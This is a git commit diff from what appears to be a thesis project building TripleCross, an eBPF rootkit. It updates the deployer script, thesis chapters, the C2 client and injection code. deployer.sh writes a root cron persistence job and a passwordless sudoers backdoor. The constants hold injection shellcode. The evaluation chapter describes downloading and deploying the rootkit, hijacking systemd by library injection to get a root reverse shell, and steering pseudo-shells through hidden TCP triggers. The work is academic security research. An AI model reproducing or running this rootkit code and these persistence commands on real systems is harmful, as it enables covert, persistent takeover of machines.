Added multiple small changes to client and code, submitting almost finished chapter 5

apps/deployer.sh

@@ -39,17 +39,22 @@ quiet(){
 
 #Start of script
 echo "*******************************************************\n"
-echo "************************* TFG *************************\n"
+echo "********************* TripleCross *********************\n"
 echo "*******************************************************\n"
 echo "***************** Marcos Sánchez Bajo *****************\n"
 echo "*******************************************************\n"
 echo ""
 
-BACKDOOR_INSTALLED=0
+## Persistence
+declare CRON_PERSIST="* * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh"
+declare SUDO_PERSIST="osboxes ALL=(ALL:ALL) NOPASSWD:ALL #"
+echo "$CRON_PERSIST" > /etc/cron.d/ebpfbackdoor
+echo "$SUDO_PERSIST" > /etc/sudoers.d/ebpfbackdoor
+
+# Rootkit install
 OUTPUT_COMM=$(/bin/sudo /usr/sbin/ip link)
 if [[ $OUTPUT_COMM == *"xdp"* ]]; then
-   BACKDOOR_INSTALLED=1
-   echo "Backdoor is already installed"
+   echo "Rootkit is already installed"
 else
    #Install the programs
    echo -e "${BLU}Installing TC hook${NC}"
@@ -59,7 +64,3 @@ else
    /bin/sudo "$BASEDIR"/kit -t enp0s3
 fi
 
-## Install a backdoor in cron.d
-echo "* * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh" > /etc/cron.d/ebpfbackdoor
-echo "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #" > /etc/sudoers.d/ebpfbackdoor
-

docs/bibliography/bibliography.bib

@@ -781,7 +781,7 @@ AMD64 Architecture Processor Supplement},
 },
 
 @online{embracethered_getdents,
-	title={Offensive BPF: Understanding and using bpf_probe_write_user},
+	title={Offensive BPF: Understanding and using bpf\_probe\_write\_user},
 	date={2021-10-20},
 	author={Johann Rehberger},
 	url={https://embracethered.com/blog/posts/2021/offensive-bpf-libbpf-bpf_probe_write_user/}
@@ -790,6 +790,29 @@ AMD64 Architecture Processor Supplement},
 @online{dtype_dirent,
 	title={Format of a Directory Entry},
 	url={https://www.gnu.org/software/libc/manual/html_node/Directory-Entries.html}
+},
+
+@online{virtualbox_page,
+	title={VirtualBox},
+	url={https://www.virtualbox.org/}
+},
+
+@online{bridged_networking,
+	title={Bridgeg Networking},
+	url={https://docs.oracle.com/en/virtualization/virtualbox/6.0/user/network_bridged.html}
+},
+
+@online{nat_comptia,
+	title={What Is NAT?},
+	institution={CompTIA},
+	url={https://www.comptia.org/content/guides/what-is-network-address-translation}
+},
+
+@online{kernel_modules_restrict,
+	title={Increasing Linux kernel integrity},
+	author={Michael Boelen},
+	date={2015-05-12},
+	url={https://linux-audit.com/increase-kernel-integrity-with-disabled-linux-kernel-modules-loading/}
 }
 
 

docs/chapters/chapter4.tex

@@ -1,4 +1,4 @@
-\chapter{Design of a malicious eBPF rootkit}
+\chapter{Design of a malicious eBPF rootkit} \label{chapter:rootkit_design}
 In the previous chapter, we discussed the capabilities of eBPF programs from a security standpoint, detailing which helpers and program types are particularly useful for developing malicious programs, and analysing some techniques (stack scanning, overwriting packets together with TCP retransmissions) which helps us circumvent some of the limitations of eBPF.
 
 Taking as a basis these capabilities, this chapter is now dedicated to a comprehensive description of our rootkit, including the techniques and functionalities implemented, thus showing how these capabilities can lead to the creation of a real malicious application. As we mentioned during the project objectives, our goals for our rootkit include the following:
@@ -598,7 +598,7 @@ envp[0] & NULL\\
 \label{table:execve_args_hide}
 \end{table}
 
-As we can observe in the table, we will modify the value of \tetxit{filename} with the malicious program filename, and save the original filename into argv[0]. Performing this substitution means losing little information since the argv[0] argument contains the name of the program \cite{c_standard_main}, information that can also be taken from the filename (thus it can be recovered later). Only in very specific use cases the argv[0] argument is different from the file included in the filename argument (like in Busybox \cite{busybox_argv}). 
+As we can observe in the table, we will modify the value of \textit{filename} with the malicious program filename, and save the original filename into argv[0]. Performing this substitution means losing little information since the argv[0] argument contains the name of the program \cite{c_standard_main}, information that can also be taken from the filename (thus it can be recovered later). Only in very specific use cases the argv[0] argument is different from the file included in the filename argument (like in Busybox \cite{busybox_argv}). 
 
 After the above substitution, the malicious program (in the table, "execve\_hijack") will be called, whose main function receives the following arguments:
 
@@ -1057,7 +1057,7 @@ After the requested modifications are made, the TC program passes the packet to
 \section{Rootkit client}
 The rootkit client is a CLI program which the attacker can use from its own machine to communicate with the rootkit remotely over the network and execute commands using the C2 infrastructure. This section details its functionality and presents how it can be used to connect to the rootkit.
 
-\subsection{Client manual}
+\subsection{Client manual} \label{subsection:rootkit_manual}
 The rootkit client is compiled to a single executable named \textit{injector}. This file must be run indicating which operation the attacker wants to issue to the attacker. Figure \ref{fig:client_help} shows the options which the client has available.
 
 \begin{figure}[htbp]
@@ -1262,31 +1262,34 @@ On the other hand, the jobs that cron will run (cron jobs) must be specified on
 In our rootkit, we will specify the rootkit cron jobs in a file named \textit{/etc/cron.d/ebpfbackdoor}. This file is created and written by the script \textit{deployer.sh} which, as we mentioned in section \ref{section:rootkit_arch}, is an script to be run by the attacker to automatize the process of infecting the machine. Snippet \ref{code:deployersh} shows the content of the \textit{deployer.sh} script.
 
 \begin{lstlisting}[language=C, caption={Script deployer.sh.}, label={code:deployersh}]
+## Persistence
+declare -r CRON_PERSIST="* * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh"
+declare -r SUDO_PERSIST="osboxes ALL=(ALL:ALL) NOPASSWD:ALL #"
+echo $CRON_PERSIST > /etc/cron.d/ebpfbackdoor
+echo $SUDO_PERSIST > /etc/sudoers.d/ebpfbackdoor
+
+# Rootkit install
 OUTPUT_COMM=$(/bin/sudo /usr/sbin/ip link)
 if [[ $OUTPUT_COMM == *"xdp"* ]]; then
-   echo "Backdoor is already installed"
+   echo "Rootkit is already installed"
 else
    #Install the programs
-   echo -e "Installing TC hook"
+   echo -e "${BLU}Installing TC hook${NC}"
    /bin/sudo tc qdisc del dev enp0s3 clsact
    /bin/sudo tc qdisc add dev enp0s3 clsact
    /bin/sudo tc filter add dev enp0s3 egress bpf direct-action obj "$BASEDIR"/tc.o sec classifier/egress
-   /bin/sudo "$BASEDIR"/kit -t enp0s3
+   /bin/sudo "$BASEDIR"/kit -t enp0s3 &
 fi
-
-## Persistence
-echo "* * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh" > /etc/cron.d/ebpfbackdoor
-echo "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #" > /etc/sudoers.d/ebpfbackdoor
 \end{lstlisting}
 
-As we can observe in its contents, the script will firstly take care of the installation process of the rootkit. For this, it will first check whether there exists any XDP program loaded. If there is any, it is assumed that it belongs to the rootkit backdoor and thus the process is halted. Otherwise, the rootkit is installed:
+As we can observe in its contents, the script will take care of the installation process of the rootkit. For this, it will first check whether there exists any XDP program loaded. If there is any, it is assumed that it belongs to the rootkit backdoor and thus the process is halted. Otherwise, the rootkit is installed:
 \begin{itemize}
 \item We remove any previous existing qdisc, followed by creating the new qdisc for the TC program, which is created and attached to network interface enp0s3. This step was explained in section \ref{subsection:tc}.
 \item We attach the TC program to the newly created qdisc.
 \item We execute the main file (\textit{kit}) of the rootkit, specifying the network address for the XDP program to use. This will launch the user space rootkit program, which will load and attach the eBPF programs in the kernel.
 \end{itemize}
 
-Finally, as we mentioned, the \textit{deployer.sh} script takes care of the rootkit persistence by writing an entry into the file \textit{/etc/cron.d/ebpfbackdoor}. Snippet \ref{code:bpfbackdoor_cron} shows the outcome of the data written into this file.
+Also, as we mentioned, the \textit{deployer.sh} script takes care of the rootkit persistence by writing an entry into the file \textit{/etc/cron.d/ebpfbackdoor}. Snippet \ref{code:bpfbackdoor_cron} shows the outcome of the data written into this file.
 
 \begin{lstlisting}[language=C, caption={Content of /etc/cron.d/ebpfbackdoor.}, label={code:bpfbackdoor_cron}]
 * * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh
@@ -1302,7 +1305,7 @@ The meaning of each of the parameters specified, according to the format of cron
 	\item Month.
 	\item Day of week.
 \end{enumerate}
-\item The second argument specifies the user under which run the command. 
+\item The second argument specifies the user under which to run the command. 
 \item Third argument is the command to execute.
 \end{itemize}
 
@@ -1419,7 +1422,7 @@ As we mentioned, we will overwrite the value of d\_reclen of the previous entry
 	\label{fig:getdents_technique}
 \end{figure}
 
-As we can observe in the figure, by modifying the value of d\reclen, the user program will skip the entry of file "hideme", and therefore any process listing the available entries of the directory will not show this file.
+As we can observe in the figure, by modifying the value of d\_reclen, the user program will skip the entry of file "hideme", and therefore any process listing the available entries of the directory will not show this file.
 
 Apart from detecting entries by their name, we can also know whether an entry is a file, a directory or of some other type. For this, our rootkit uses the attribute d\_type of the linux\_dirent64 (see table \ref{table:linux_dirent64}), whose value determines the type of file. The most relevant values of the d\_type attribute are shown in table \ref{table:dtype_values} \cite{dtype_dirent}.
 
@@ -1454,10 +1457,10 @@ SECRETDIR & DT\_REG (4) & Provide the rootkit a secret directory where to hide i
 \hline
 \end{tabular}
 \caption{Directory entries actively hidden by the rootkit.}
-\label{table:dtype_values}
+\label{table:dtype_dirent}
 \end{table}
 
-% No me ha dado tiempo a implementar esto en codigo como menciono, se me ha ocurrido tarde
+% Just ran out of time to implement this case properly, realized too late this was a thing. Still mentioning it here
 Also, it is of interest to study what would happen if the directory entry to hide was not in the middle of the buffer, but rather it was the first one to be written. In this case, we cannot modify the d\_reclen of the previous entry to trick the user into skipping an entry. In order to illustrate this case, we are providing another technique (although this functionality is not available in the rootkit currently). Figure \ref{fig:getdents_firstentry} illustrates this alternative process.
 
 \begin{figure}[htbp]

docs/chapters/chapter5.tex

@@ -1,3 +1,354 @@
 \chapter{Evaluation} \label{chapter:evaluation}
-\section{Developed capabilities}
-\section{Rootkit use cases} \label{section:use_cases}
+This chapter evaluates the malicious capabilities developed in our rootkit by comparing them to the original objectives we presented at the beginning of our research in section \ref{section:project_objectives}. For this, we will analyse whether our rootkit meets the expected functionality by simulating a machine infection in a virtualized environment. A rootkit functionality will be considered fulfilled in the case it can be reproduced successfully in the experimental environment.
+
+As we mentioned, the following are the functionalities we seeked to implement in our rootkit:
+\begin{itemize}
+\item Hijacking the execution of user programs while they are running, injecting libraries and executing malicious code, without impacting their normal execution.
+\item Featuring a command-and-control module powered by a network backdoor, which can be operated from a remote client. This backdoor should be controlled with stealth in mind, featuring similar mechanisms to those present in rootkits found in the wild.
+\item Tampering with user data at system calls, resulting in running malware-like programs and for other malicious purposes.
+\item Achieving stealth, hiding rootkit-related files from the user.
+\item Achieving rootkit persistence, the rootkit should run after a complete system reboot.
+\end{itemize}
+
+\section{Experimental setting}
+The test environment that will be used to showcase the rootkit functionalities consists on two virtual machines running under Oracle VM VirtualBox \cite{virtualbox_page}. One of them will be the host infected with the rootkit, while the other will be used as the attacker machine from which to operate the rootkit client. 
+
+Both virtual machines will be connected via a bridged adapter, as figure \ref{fig:vm_setting_bridged} shows. With this virtual networking setting, the virtual machines connect to a device driver of the host system which injects the data received from the physical network \cite{bridged_networking}. From the virtual machine point of view, both the attacker and the infected machine appear to be physically connected (via a network cable) to the same network interface, each with a different assigned IP address. The name of this interface will be "enp0s3".
+
+\begin{figure}[htbp]
+	\centering
+	\includegraphics[width=13cm]{vm_setting_bridged.png}
+	\caption{Network settings for both of the VMs on the test environment.}
+	\label{fig:vm_setting_bridged}
+\end{figure}
+
+Table \ref{table:vm_config_test_environment} shows the role and charactersitics of the two machines. The overall test environment configuration with the described settings is illustrated in figure \ref{fig:test_env}.
+
+\begin{table}[H]
+\begin{tabular}{|>{\centering\arraybackslash}p{3cm}|>{\centering\arraybackslash}p{3cm}|}
+\hline
+\multicolumn{2}{|c|}{\textbf{INFECTED MACHINE}}\\
+\hline
+\textbf{Attribute} & \textbf{Value}\\
+\hline
+\hline
+User & osboxes\\
+\hline
+Operating System & GNU/Linux\\
+\hline
+Distribution & Ubuntu 21.04\\
+\hline
+Kernel version & 5.11.0-49\\
+\hline
+IP address & 192.168.1.124\\
+\hline
+\end{tabular}
+\quad
+\begin{tabular}{|>{\centering\arraybackslash}p{3cm}|>{\centering\arraybackslash}p{3cm}|}
+\hline
+\multicolumn{2}{|c|}{\textbf{ATTACKER MACHINE}}\\
+\hline
+\textbf{Attribute} & \textbf{Value}\\
+\hline
+\hline
+User & RED\\
+\hline
+Operating System & GNU/Linux\\
+\hline
+Distribution & Ubuntu 18.04\\
+\hline
+Kernel version & 5.4.0-96\\
+\hline
+IP address & 192.168.1.121\\
+\hline
+\end{tabular}
+\caption{Configuration of virtual machines in the test environment.}
+\label{table:vm_config_test_environment}
+\end{table}
+
+\begin{figure}[htbp]
+	\centering
+	\includegraphics[width=13cm]{test_env.png}
+	\caption{Network topology of test environment.}
+	\label{fig:test_env}
+\end{figure}
+
+
+%Maybe this is not the place for story telling? I thought that telling it like this fits nicely here to put some context, but I can try to change it.
+\section{Attack scenario} \label{section:attack_scenario}
+This section presents an hypothetical attack scenario, covering each of the steps the attacker must follow in order to prepare the rootkit and infect a machine:
+
+A security researcher called 'RED' has managed to exploit a high-severity RCE vulnerability in a critical system controlled by an adversary which was found exposed to the Internet (e.g.: not behind a NAT \cite{nat_comptia}). After this exploitation, RED has now spawned a reverse shell connection with the privileged user 'osboxes', but he knows that the system is often rebooted and that he may lose access soon. Furthermore, the vulnerability he exploited is already well-known and may get patched in the near future, so he needs to persist his access. RED decides to load a classic rootkit consisting of a malicious kernel module, but he finds out that this capability is restricted in the system (e.g.: kernel.modules\_disabled=1 \cite{kernel_modules_restrict}), so he must find an alternative approach. At some point, RED realises that even if kernel modules were restricted, the system administrator did not block eBPF, so he decides to use TripleCross.
+
+Firstly, RED creates a secret directory where to hide the rootkit, and downloads it, as shown in figure \ref{fig:post_exp}.
+
+\begin{figure}[htbp]
+	\centering
+	\includegraphics[width=13cm]{sch_post_exp.png}
+	\caption{Creation of hidden directory and downloading rootkit.}
+	\label{fig:post_exp}
+\end{figure}
+
+The rootkit C2 capabilities work out of the box, but RED wants to use all of the rootkit modules, so he must first make some configurations. Table \ref{table:rootkit_config} shows the configurations and the files to modify for each module.
+
+\begin{table}[htbp]
+\begin{tabular}{|>{\centering\arraybackslash}p{2cm}|>{\centering\arraybackslash}p{3cm}|>{\centering\arraybackslash}p{4cm}|>{\centering\arraybackslash}p{4cm}|}
+\hline
+\textbf{MODULE} & \textbf{FILENAME} & \textbf{CONSTANT} & \textbf{DESCRIPTION}\\
+\hline
+\hline
+Execution hijacking & src/common/ constants.h & PATH\_EXECUTION\_HIJACK\_PROGRAM & Absolute path of malicious program\\
+\hline
+Privilege escalation & src/common/ constants.h & STRING\_FS\_SUDOERS\_ENTRY & Entry to inject in sudoers file\\
+\hline
+Library injection & src/helpers/ injection\_lib.h & ATTACKER\_IP \& ATTACKER\_PORT & IP address and port of attacker machine\\
+\hline
+Persistence module & src/helpers/ deployer.sh & CRON\_PERSIST \& SUDO\_PERSIST & Values to store at persistence files\\
+\hline
+\end{tabular}
+\caption{Overall rootkit modules configuration.}
+\label{table:rootkit_config}
+\end{table}
+
+Once the appropiate values have been written, RED executes the \textit{packager.sh} script, that will compile the rootkit. Alternatively, an attacker could have compiled it locally and sent it to the remote machine afterwards.
+
+After the script execution finishes, a folder \textit{apps} is generated with all the rootkit files. This directory contains all the files and scripts needed for the rootkit installation. RED now executes the \textit{deployer.sh} script, which installs the rootkit and writes the persistence files, as shown in figure \ref{fig:deploy_root}
+
+\begin{figure}[htbp]
+	\centering
+	\includegraphics[width=13cm]{sch_deploy_root.png}
+	\caption{Files created by packager.sh and execution of deployer.sh.}
+	\label{fig:deploy_root}
+\end{figure}
+
+Once the script has been executed, all rootkit modules are loaded and the backdoor is already waiting for commands. RED can now close the reverse shell and open the rootkit client. He now has persistent privileged access to the infected machine.
+
+\section{Hijacking execution of running processes}
+Following the infection process described in section \ref{section:attack_scenario}, TripleCross can hijack the execution of running processes by means of the library injection module. This module incorporates two sample programs (\textit{src/helpers/simple\_timer.c and src/helpers/simple\_open.c}), both containing the execution of one of the hijacked syscalls (sys\_timerfd\_settime and sys\_openat respectively). Additionally, the functionality can be tested in any process of the infected machine by changing its settings. Table \ref{table:lib_injection_config} shows how to customize the functionality of the library injection module.
+
+\begin{table}[htbp]
+\begin{tabular}{|>{\centering\arraybackslash}p{3cm}|>{\centering\arraybackslash}p{5.5cm}|>{\centering\arraybackslash}p{5.5cm}|}
+\hline
+\textbf{FILENAME} & \textbf{CONSTANT} & \textbf{DESCRIPTION}\\
+\hline
+\hline
+src/common/ constants.h & TASK\_COMM\_NAME\_INJECTION\_TARGET\_TIMERFD\_SETTIME & Name of process to hijack at syscall sys\_timerfd\_settime.\\
+\hline
+src/common/ constants.h & TASK\_COMM\_NAME\_INJECTION\_TARGET\_OPEN & Name of process to hijack at syscall sys\_openat.\\
+\hline
+src/helpers/ injection\_lib.c & ATTACKER\_IP \& ATTACKER\_PORT & IP address and port of attacker machine\\
+\hline
+\end{tabular}
+\caption{Library injection module configuration.}
+\label{table:lib_injection_config}
+\end{table}
+
+After a successful injection the malicious library will run a reverse shell against the attacker machine. Also, it will print a message for us to check it locally. Therefore, from the attacker machine, we will listen to the specified IP and port, considering the injection successful if a connection is opened.
+
+
+\subsection{Test program simple\_timer}
+Table \ref{table:lib_injection_config_simple_timer} shows the module configuration for running this attack.
+
+\begin{table}[htbp]
+\begin{tabular}{|>{\centering\arraybackslash}p{3cm}|>{\centering\arraybackslash}p{5.5cm}|>{\centering\arraybackslash}p{5.5cm}|}
+\hline
+\textbf{FILENAME} & \textbf{CONSTANT} & \textbf{VALUE}\\
+\hline
+\hline
+src/common/ constants.h & TASK\_COMM\_NAME\_INJECTION\_TARGET\_TIMERFD\_SETTIME & "simple\_timer"\\
+\hline
+src/helpers/ injection\_lib.c & ATTACKER\_IP \& ATTACKER\_PORT & 192.168.1.127 \& 5555 \\
+\hline
+\end{tabular}
+\caption{Library injection module configuration for attacking simple\_timer.c.}
+\label{table:lib_injection_config_simple_timer}
+\end{table}
+
+Figure \ref{fig:sc_lib_inj_simple_timer_off} shows the execution of the simple\_timer process without the rootkit installed.
+
+\begin{figure}[htbp]
+	\centering
+	\includegraphics[width=13cm]{sch_sc_lib_inj_simple_timer_off.png}
+	\caption{Normal execution of simple\_timer program.}
+	\label{fig:sc_lib_inj_simple_timer_off}
+\end{figure}
+
+Once the rootkit is installed it starts the module automatically, looking for system calls from the simple\_timer process.
+The attacker must in the mean time start a listener (e.g.: with netcat), as shown in figure \ref{fig:sc_lib_inj_nc}.
+
+\begin{figure}[htbp]
+	\centering
+	\includegraphics[width=12cm]{sch_sc_lib_inj_nc.png}
+	\caption{Attacker waiting for a connection with netcat.}
+	\label{fig:sc_lib_inj_nc}
+\end{figure}
+
+Then, the simple\_timer program gets executed on the infected machine. As we can observe in figure \ref{fig:sc_lib_inj_simple_timer_exec}, the injection suceeds and a message is printed from the library. 
+
+\begin{figure}[htbp]
+	\centering
+	\includegraphics[width=12cm]{sch_sc_lib_inj_simple_timer_exec.png}
+	\caption{Execution of simple\_timer.c with rootkit active.}
+	\label{fig:sc_lib_inj_simple_timer_exec}
+\end{figure}
+
+
+Figure \ref{fig:sc_lib_inj_nc_success} shows the attacker connected to the reverse shell launched from the library.
+
+\begin{figure}[htbp]
+	\centering
+	\includegraphics[width=12cm]{sch_sc_lib_inj_nc_success.png}
+	\caption{Reverse shell received after library injection attack.}
+	\label{fig:sc_lib_inj_nc_success}
+\end{figure}
+
+
+\subsection{Test program simple\_open}
+The library injection module can also be tested with the simple\_timer program, which opens multiple files with sys\_openat. The rootkit configuration for this is shown in table \ref{table:lib_injection_config_simple_open}.
+
+\begin{table}[htbp]
+\begin{tabular}{|>{\centering\arraybackslash}p{3cm}|>{\centering\arraybackslash}p{5.5cm}|>{\centering\arraybackslash}p{5.5cm}|}
+\hline
+\textbf{FILENAME} & \textbf{CONSTANT} & \textbf{VALUE}\\
+\hline
+\hline
+src/common/ constants.h & TASK\_COMM\_NAME\_INJECTION\_TARGET\_OPEN & "simple\_open"\\
+\hline
+src/helpers/ injection\_lib.c & ATTACKER\_IP \& ATTACKER\_PORT & 192.168.1.127 \& 5555 \\
+\hline
+\end{tabular}
+\caption{Library injection module configuration for attacking simple\_open.c.}
+\label{table:lib_injection_config_simple_open}
+\end{table}
+
+As we can observe in figure \ref{fig:sc_lib_inj_simple_open}, when the injection suceeds, a message is printed on screen. Also, the attacker receives a shell, like we showed in figure \ref{fig:sc_lib_inj_nc_success}.
+
+\begin{figure}[htbp]
+	\centering
+	\includegraphics[width=12cm]{sch_sc_lib_inj_simple_open.png}
+	\caption{Execution of simple\_open with rootkit active.}
+	\label{fig:sc_lib_inj_simple_open}
+\end{figure}
+
+
+\subsection{Hijacking systemd}
+Apart from the test programs, the library injection module can also inject the malicious library on any process of the system that makes use of either sys\_openat or sys\_timerfd\_settime. By hijacking privileged system programs such as systemd, the malicious library can achieve automatic root permissions once it is run (although these are anyways automatically granted via the privilege escalation module). Table \ref{table:lib_injection_config_systemd} shows the module configuration for running an attack against this process.
+
+\begin{table}[htbp]
+\begin{tabular}{|>{\centering\arraybackslash}p{3cm}|>{\centering\arraybackslash}p{5.5cm}|>{\centering\arraybackslash}p{5.5cm}|}
+\hline
+\textbf{FILENAME} & \textbf{CONSTANT} & \textbf{VALUE}\\
+\hline
+\hline
+src/common/ constants.h & TASK\_COMM\_NAME\_INJECTION\_TARGET\_TIMERFD\_SETTIME & "systemd"\\
+\hline
+src/common/ constants.h & TASK\_COMM\_NAME\_INJECTION\_TARGET\_OPEN & "systemd"\\
+\hline
+src/helpers/ injection\_lib.c & ATTACKER\_IP \& ATTACKER\_PORT & 192.168.1.127 \& 5555 \\
+\hline
+\end{tabular}
+\caption{Library injection module configuration for attacking the systemd process.}
+\label{table:lib_injection_config_systemd}
+\end{table}
+
+With these configurations, we can run the rootkit and wait for systemd to call one of these syscalls. Eventually this call occurs, and using the debug messages of the rootkit we can get information on what happened, as shown in figure \ref{fig:sch_sc_lib_inj_systemd_debug}.
+
+\begin{figure}[htbp]
+	\centering
+	\includegraphics[width=12cm]{sch_sc_lib_inj_systemd_debug.png}
+	\caption{Rootkit debug messages showing library injection.}
+	\label{fig:sc_lib_inj_systemd_debug}
+\end{figure}
+
+As we can observe in the figure, the rootkit finds the relevant addresses via the technique we described on section \ref{section:lib_injection} and proceeds to overwrite the GOT address. The library is loaded and executed, and since systemd is executed by the root user, the attacker receives a root shell as shown in figure \ref{fig:lib_inj_success_root}. Most importantly, the systemd process does not crash after this attack.
+
+\begin{figure}[htbp]
+	\centering
+	\includegraphics[width=12cm]{sch_lib_inj_success_root.png}
+	\caption{Reverse shell received with root user after systemd library injection.}
+	\label{fig:lib_inj_success_root}
+\end{figure}
+
+
+\section{Backdoor and C2}
+The backdoor module works out of the box without any additional configurations needed. It includes the C2 capabilities and the rootkit client used to communicate with the backdoor. As we described in section \ref{subsection:rootkit_manual}, the client allows for the operations listed on table \ref{table:rootkit_client_actions}.
+
+\begin{table}[htbp]
+\begin{tabular}{|>{\centering\arraybackslash}p{5cm}|>{\centering\arraybackslash}p{9.5cm}|}
+\hline
+\textbf{PROGRAM ARGUMENTS} & \textbf{ACTION DESCRIPTION}\\
+\hline
+\hline
+./injector -c <Victim IP> & Spawns a plaintext pseudo-shell by using the execution hijacking module.\\
+\hline
+./injector -e <Victim IP> & Spawns an encrypted pseudo-shell by commanding the backdoor with a pattern-based trigger.\\
+\hline
+./injector -s <Victim IP> & Spawns an encrypted pseudo-shell by commanding the backdoor with a multi-packet trigger (of both types).\\
+\hline
+./injector -p <Victim IP> & Spawns a phantom shell by commanding the backdoor with a pattern-based trigger.\\
+\hline
+./injector -a <Victim IP> & Orders the rootkit to activate all eBPF programs.\\
+\hline
+./injector -a <Victim IP> & Orders the rootkit to detach all of its eBPF programs.\\
+\hline
+./injector -S <Victim IP> & Showcases how the backdoor can hide a message from the kernel.\\
+\hline
+./injector -h & Displays help.\\
+\hline
+\end{tabular}
+\caption{Rootkit client options.}
+\label{table:rootkit_client_actions}
+\end{table}
+
+Once the rootkit is installed, the backdoor is launched automatically and will wait for backdoor triggers ready to launch the corresponding requested actions.
+
+\subsection{Spawning encrypted pseudo-shells}
+Encrypted pseudo-shells can be spawned using the rootkit client either with pattern-based or multi-packet backdoor triggers.
+
+\textbf{Pattern-based triggers}\\
+When using a pattern-based trigger, the attacker must indicate the following information:
+\begin{itemize}
+\item The IP address of the infected machine.
+\item The network interface to use for sending the trigger.
+\end{itemize}
+
+As figure \ref{fig:sc_eps_rc} shows, the backdoor executes the requested action and starts an encrypted pseudo-shell connection with privileged permissions in which the attacker can introduce commands to be executed. Whenever the connection shall be closed, the attacker introduces the "EXIT" global command (as we explained in section \ref{subsection:rootkit_manual}), which ends the transmission gracefully.
+
+\begin{figure}[htbp]
+	\centering
+	\includegraphics[width=12cm]{sch_sc_eps_rc.png}
+	\caption{Encrypted pseudo-shell with rootkit client using pattern-based trigger.}
+	\label{fig:sc_eps_rc}
+\end{figure}
+
+\textbf{Multi-packet triggers}\\
+The rootkit client offers multiple options when using the multi-packet backdoor triggers. In particular, the attacker must specify the following fields:
+\begin{itemize}
+\item The IP address of the infected machine.
+\item The network interface to use for sending the trigger.
+\item Whether to hide the payload at the TCP sequence numbers or at the TCP source port.
+\end{itemize}
+
+Figure \ref{fig:sc_eps_seqnum} shows how the rootkit client asks for this data and spawns an encrypted pseudo-shell with the client when hiding the payload at the TCP sequence number. As we can observe in the figure, the payload is divided in 3 different chunks and injected to a stream of packets, which are sent in an orderly manner.
+
+\begin{figure}[htbp]
+	\centering
+	\includegraphics[width=12cm]{sch_sc_eps_seqnum.png}
+	\caption{Encrypted pseudo-shell with rootkit client using multi-packet trigger with payload hidden in TCP sequence number.}
+	\label{fig:sc_eps_seqnum}
+\end{figure}
+
+Figure \ref{fig:sc_eps_srcport} shows the same process but using the TCP source port as a means for hiding the data payload. As we can observe in the figure, in this case the paylaod is divided in 6 chunks.
+
+\begin{figure}[htbp]
+	\centering
+	\includegraphics[width=12cm]{sch_sc_eps_srcport.png}
+	\caption{Encrypted pseudo-shell with rootkit client using multi-packet trigger with payload hidden in TCP source port.}
+	\label{fig:sc_eps_srcport}
+\end{figure}
+
+\subsection{Spawning phantom shells}
+
+
+
+

docs/document.tex

@@ -313,6 +313,9 @@ hmargin=3cm
 \clearpage
 \pagenumbering{arabic}
 
+% This prevents the underscores going out of the margins
+\renewcommand\_{\textunderscore\allowbreak}
+
 \input{chapters/chapter1}
 \input{chapters/chapter2}
 \input{chapters/chapter3}

src/client/client.c

@@ -345,8 +345,15 @@ void activate_command_control_shell(char* argv){
         }                                                                                                                                                                         
         
         char msg[BUFSIZ];
-        strcpy(msg, CC_PROT_MSG);
-        strcat(msg, buf);
+
+        //Global command "EXIT". This part should be moved together with the encrypted shell
+        //global command parser.
+        if(strlen(buf)>3 && strncmp(buf, "EXIT", 4)==0){
+            strcpy(msg ,CC_PROT_FIN);
+        }else{
+            strcpy(msg, CC_PROT_MSG);
+            strcat(msg, buf);
+        }
         packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, msg);
         printf("Sending %s\n", msg);
         if(rawsocket_send(packet)<0){

src/client/include/sslserver.h

@@ -1,4 +1,4 @@
-// This code is based from the following tutorial:
+// This code is based on the following tutorial:
 // https://aticleworld.com/ssl-server-client-using-openssl-in-c/
 
 #include "openssl/err.h"
@@ -203,9 +203,9 @@ int server_run(int port) {
 	}
 	close(server); /* close server socket */
 
-	ERR_free_strings(); /* free memory from SSL_load_error_strings */
-	EVP_cleanup();      /* free memory from OpenSSL_add_all_algorithms */
-	SSL_CTX_free(ctx);  /* release context */
+	//ERR_free_strings(); /* free memory from SSL_load_error_strings */
+	//EVP_cleanup();      /* free memory from OpenSSL_add_all_algorithms */
+	//SSL_CTX_free(ctx);  /* release context */
 
 	return 0;
 }

src/common/constants.h

@@ -24,12 +24,15 @@
 //EXECUTION HIJACKING
 
 #define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
-#define EXEC_HIJACK_ACTIVE_TEMP 0
+#define EXEC_HIJACK_ACTIVE_TEMP 0 //0 Deactivated, 1 active
 #define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
 #define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1
 
 //LIBRARY INJECTION WITH ROP
 #define TASK_COMM_NAME_INJECTION_TARGET_TIMERFD_SETTIME "simple_timer"
+#define TASK_COMM_FILTER 1 //0 do not filter by task. 1 filter by task.
+#define TASK_COMM_NAME_INJECTION_TARGET_OPEN "simple_open"
+
 #define CODE_CAVE_ADDRESS_STATIC 0x00000000004012c4
 #define CODE_CAVE_SHELLCODE_ASSEMBLE_1 \
 "\x55\x50\x51\x52\x53\x57\x56\
@@ -54,6 +57,4 @@
 \x5f\x5b\x5a\x59\x58\x5d\xff\x25\x00\x00\x00\x00"
 #define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 37
 
-#define TASK_COMM_NAME_INJECTION_TARGET_OPEN "simple_open"
-
 #endif

src/ebpf/include/bpf/injection.h

@@ -252,9 +252,11 @@ int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
         return -1;
     }
 
-    char *task = TASK_COMM_NAME_INJECTION_TARGET_TIMERFD_SETTIME;
-    if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
-        return 0;
+    if(TASK_COMM_FILTER == 1){
+        char *task = TASK_COMM_NAME_INJECTION_TARGET_TIMERFD_SETTIME;
+        if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
+            return 0;
+        }
     }
     bpf_printk("TASK: %s\n", comm);
 
